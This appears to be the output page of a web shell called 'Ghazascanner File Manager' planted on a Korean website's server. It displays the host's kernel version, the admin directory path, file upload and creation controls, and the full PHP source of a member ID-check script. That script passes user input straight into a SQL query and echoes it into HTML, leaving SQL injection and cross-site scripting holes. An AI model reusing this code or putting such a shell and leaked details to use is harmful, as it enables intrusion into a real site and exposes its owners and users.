@Ghazascanner
_2019runbot
Ghazascanner File Manager
server :Linux adweb87 2.6.32-754.el6.x86_64 #1 SMP Tue Jun 19 21:26:04 UTC 2018 x86_64
Current Path :
/
home
/
sanchung
/
public_html
/
admin
/
_member
/
Path :
Upload File :
New :
File
Dir
/home/sanchung/public_html/admin/_member/id_check.php
<? include "$_SERVER[DOCUMENT_ROOT]/admin/_setup.php"; if($userid){ $row = $mysql->row("adw_member", "num", "where userid='$userid'"); if($row) $str = "<font color='red'>$userid</font> 는 등록된 아이디입니다."; else { if(!$str) $str = "<a href=\"javascript:Win_Close('$userid');\"><font color='red'>$userid</font> 는 등록이 가능합니다.<br /><b>사용하기</b></a>"; } }else{ $str = "<font color='red'>아이디</font>를 입력하세요."; } echo" <!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"> <html xmlns='http://www.w3.org/1999/xhtml' xml:lang='ko' lang='ko'> <head> <meta http-equiv='content-type' content='text/html; charset=euc-kr'> <title>아이디 중복 검사 </title> <style type='text/css'> a{text-decoration:none ; color:black} a:hover{text-decoration:underline} * {font-size:12px} legend {font-weight:bold} p {text-align:center} form {margin:0px; padding:0px} </style> <script type='text/javascript'> function Win_Close(id){ opener.document.orderform.userid.value = id; this.close(); } function Check_User(){ var form = document.form2; //아이디 미입력 처리 if (!form.userid.value) { alert('[아이디 검사] \\n\\n아이디를 입력해 주세요. '); form.userid.focus(); return false; } } </script> </head> <body> <form name='form2' method='post' action='$_SERVER[PHP_SELF]' onsubmit='return Check_User();'> <fieldset> <legend>아이디검색</legend> <p style='margin-bottom:20px'>아이디 : <input type='text' name='userid' maxlength='12' size='13' value='$userid' style='ime-mode:disabled' /> <input type=submit value=' 찾 기 ' /> </p> <p style='margin-bottom:30px'>$str</p> </fieldset> </form> </body> </html>"; ?>